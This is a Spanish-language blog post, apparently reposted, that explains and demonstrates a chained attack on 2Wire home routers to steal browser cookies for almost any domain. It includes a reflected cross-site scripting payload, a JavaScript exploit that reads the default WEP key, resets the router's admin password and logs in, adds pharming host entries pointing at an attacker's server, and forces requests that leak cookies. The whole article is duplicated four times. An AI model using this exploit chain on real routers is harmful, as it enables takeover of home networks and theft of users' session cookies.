Desde hace tiempo es conocido que los routers
caseros están plagados de vulnerabilidades. En este caso mostramos como una
serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente,
permiten obtener remotamente los valores de las cookies de casi cualquier
dominio.
El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un
módem vulnerable,
2. La página realiza pharming al router
redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar
peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de
los dominios.
Utilizamos subdominios inexistentes por dos
razones. Al usar un subdominio inexistente el navegador no tiene la dirección
IP en el cache. Y la segunda razon es que en caso de que exista algún error, la
comunicación con el dominio original no se pierde.
Los routers 2Wire han tenido múltiples vulnerabilidades en
los últimos años. Para realizar este ataque nos enfocamos en las siguientes:
1. Cross site scripting
Algunos routers 2Wire poseen un cross site
scripting reflejado en la variable THISPAGE de su interfaz de configuración
web:
http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>
Explotando el cross site scripting podemos estar en
la misma zona del router y obtener acceso a sus propiedades, como la
información de las páginas del router.
Inyectamos un script que nos permite leer la
información de la configuración debido a la vulnerabilidad de revelación de
configuración. Leemos el archivo y obtenemos la WEP default:
cfgpwn.js:
try {
xmlhttp=new
ActiveXObject("MSXML2.XMLHTTP");
} catch(e) {
xmlhttp = new XMLHttpRequest()
}
xmlhttp.open("GET","/xslt?page=mgmt_data",false);
xmlhttp.send(null);
var
info = xmlhttp.responseText;
var pass = "temporal";
var wep =
info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);
Utilizando la clave WEP default podemos definir una
nueva contraseña de administración web. De la siguiente manera usamos la WEP
para cambiar el password:
xmlhttp.open("POST","/xslt");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);
Ya que hemos definido un password, podemos obtener
la sesión de administrador para obtener privilegios en el router. Para esto
realizamos la siguiente petición:
xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass,
false);
xmlhttp.send(null);
Como administradores podemos agregar dominios a la
lista de hosts. Agregamos subdominios de los dominios de los cuales queremos
las cookies:
for (var i=0; i<dominios.length; i++) {
dns=dominios[i];
xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);
xmlhttp.send(null);
}
Obligamos a la víctima a realizar peticiones a los
subdominios para que envíe las cookies:
for (var i=0; i<dominios.length; i++) {
dns=dominios[i];
document.write('<img src=http://'+dns+'>');
}
Todo esto se podría automatizar y realizar de forma
oculta para la víctima. En el siguiente video se muestra la explotación de una
forma visible:
- See more at:
http://www.websec.mx/blog/ver/Robo_de_cookies_por_router_vulnerable_caso_2Wire#sthash.9u6FRTMt.dpuf
podemos observar en el siguiente video hay dejo el link
https://www.youtube.com/watch?v=HqXDDhTjsWA&noredirect=1
Desde
hace tiempo es conocido que los routers caseros están plagados de
vulnerabilidades. En este caso mostramos como una serie de
vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente,
permiten obtener remotamente los valores de las cookies de casi
cualquier dominio.
El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un módem vulnerable,
2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de los dominios.
Utilizamos subdominios inexistentes por
dos razones. Al usar un subdominio inexistente el navegador no tiene la
dirección IP en el cache. Y la segunda razon es que en caso de que
exista algún error, la comunicación con el dominio original no se
pierde.
Los routers 2Wire han tenido múltiples vulnerabilidades en los últimos años. Para realizar este ataque nos enfocamos en las siguientes:
1. Cross site scripting
Algunos routers 2Wire poseen un cross site scripting reflejado en la variable THISPAGE de su interfaz de configuración web:
http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>
Explotando el cross site scripting
podemos estar en la misma zona del router y obtener acceso a sus
propiedades, como la información de las páginas del router.
Inyectamos un script que nos permite
leer la información de la configuración debido a la vulnerabilidad de
revelación de configuración. Leemos el archivo y obtenemos la WEP
default:
cfgpwn.js:
try {xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");} catch(e) {xmlhttp = new XMLHttpRequest()}xmlhttp.open("GET","/xslt?page=mgmt_data",false);xmlhttp.send(null);var info = xmlhttp.responseText;var pass = "temporal";var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);
Utilizando la clave WEP default podemos
definir una nueva contraseña de administración web. De la siguiente
manera usamos la WEP para cambiar el password:
xmlhttp.open("POST","/xslt");xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);
Ya que hemos definido un password,
podemos obtener la sesión de administrador para obtener privilegios en
el router. Para esto realizamos la siguiente petición:
xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);xmlhttp.send(null);
Como administradores podemos agregar
dominios a la lista de hosts. Agregamos subdominios de los dominios de
los cuales queremos las cookies:
for (var i=0; i<dominios.length; i++) {dns=dominios[i];xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);xmlhttp.send(null);}
Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:
for (var i=0; i<dominios.length; i++) {dns=dominios[i];document.write('<img src=http://'+dns+'>');}
Todo esto se podría automatizar y
realizar de forma oculta para la víctima. En el siguiente video se
muestra la explotación de una forma visible:
- See more at: http://www.websec.mx/blog/ver/Robo_de_cookies_por_router_vulnerable_caso_2Wire#sthash.9u6FRTMt.dpuf
Desde hace tiempo es conocido que los routers
caseros están plagados de vulnerabilidades. En este caso mostramos como una
serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente,
permiten obtener remotamente los valores de las cookies de casi cualquier
dominio.
El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un
módem vulnerable,
2. La página realiza pharming al router
redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar
peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de
los dominios.
Utilizamos subdominios inexistentes por dos
razones. Al usar un subdominio inexistente el navegador no tiene la dirección
IP en el cache. Y la segunda razon es que en caso de que exista algún error, la
comunicación con el dominio original no se pierde.
Los routers 2Wire han tenido múltiples vulnerabilidades en
los últimos años. Para realizar este ataque nos enfocamos en las siguientes:
1. Cross site scripting
Algunos routers 2Wire poseen un cross site
scripting reflejado en la variable THISPAGE de su interfaz de configuración
web:
http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>
Explotando el cross site scripting podemos estar en
la misma zona del router y obtener acceso a sus propiedades, como la
información de las páginas del router.
Inyectamos un script que nos permite leer la
información de la configuración debido a la vulnerabilidad de revelación de
configuración. Leemos el archivo y obtenemos la WEP default:
cfgpwn.js:
try {
xmlhttp=new
ActiveXObject("MSXML2.XMLHTTP");
} catch(e) {
xmlhttp = new XMLHttpRequest()
}
xmlhttp.open("GET","/xslt?page=mgmt_data",false);
xmlhttp.send(null);
var
info = xmlhttp.responseText;
var pass = "temporal";
var wep =
info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);
Utilizando la clave WEP default podemos definir una
nueva contraseña de administración web. De la siguiente manera usamos la WEP
para cambiar el password:
xmlhttp.open("POST","/xslt");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);
Ya que hemos definido un password, podemos obtener
la sesión de administrador para obtener privilegios en el router. Para esto
realizamos la siguiente petición:
xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass,
false);
xmlhttp.send(null);
Como administradores podemos agregar dominios a la
lista de hosts. Agregamos subdominios de los dominios de los cuales queremos
las cookies:
for (var i=0; i<dominios.length; i++) {
dns=dominios[i];
xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);
xmlhttp.send(null);
}
Obligamos a la víctima a realizar peticiones a los
subdominios para que envíe las cookies:
for (var i=0; i<dominios.length; i++) {
dns=dominios[i];
document.write('<img src=http://'+dns+'>');
}
Todo esto se podría automatizar y realizar de forma
oculta para la víctima. En el siguiente video se muestra la explotación de una
forma visible:
- See more at:
http://www.websec.mx/blog/ver/Robo_de_cookies_por_router_vulnerable_caso_2Wire#sthash.9u6FRTMt.dpuf
Desde
hace tiempo es conocido que los routers caseros están plagados de
vulnerabilidades. En este caso mostramos como una serie de
vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente,
permiten obtener remotamente los valores de las cookies de casi
cualquier dominio.
El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un módem vulnerable,
2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de los dominios.
Utilizamos subdominios inexistentes por
dos razones. Al usar un subdominio inexistente el navegador no tiene la
dirección IP en el cache. Y la segunda razon es que en caso de que
exista algún error, la comunicación con el dominio original no se
pierde.
Los routers 2Wire han tenido múltiples vulnerabilidades en los últimos años. Para realizar este ataque nos enfocamos en las siguientes:
1. Cross site scripting
Algunos routers 2Wire poseen un cross site scripting reflejado en la variable THISPAGE de su interfaz de configuración web:
http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>
Explotando el cross site scripting
podemos estar en la misma zona del router y obtener acceso a sus
propiedades, como la información de las páginas del router.
Inyectamos un script que nos permite
leer la información de la configuración debido a la vulnerabilidad de
revelación de configuración. Leemos el archivo y obtenemos la WEP
default:
cfgpwn.js:
try {xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");} catch(e) {xmlhttp = new XMLHttpRequest()}xmlhttp.open("GET","/xslt?page=mgmt_data",false);xmlhttp.send(null);var info = xmlhttp.responseText;var pass = "temporal";var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);
Utilizando la clave WEP default podemos
definir una nueva contraseña de administración web. De la siguiente
manera usamos la WEP para cambiar el password:
xmlhttp.open("POST","/xslt");xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);
Ya que hemos definido un password,
podemos obtener la sesión de administrador para obtener privilegios en
el router. Para esto realizamos la siguiente petición:
xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);xmlhttp.send(null);
Como administradores podemos agregar
dominios a la lista de hosts. Agregamos subdominios de los dominios de
los cuales queremos las cookies:
for (var i=0; i<dominios.length; i++) {dns=dominios[i];xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);xmlhttp.send(null);}
Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:
for (var i=0; i<dominios.length; i++) {dns=dominios[i];document.write('<img src=http://'+dns+'>');}
Todo esto se podría automatizar y
realizar de forma oculta para la víctima. En el siguiente video se
muestra la explotación de una forma visible:
- See more at: http://www.websec.mx/blog/ver/Robo_de_cookies_por_router_vulnerable_caso_2Wire#sthash.9u6FRTMt.dpuf
No hay comentarios:
Publicar un comentario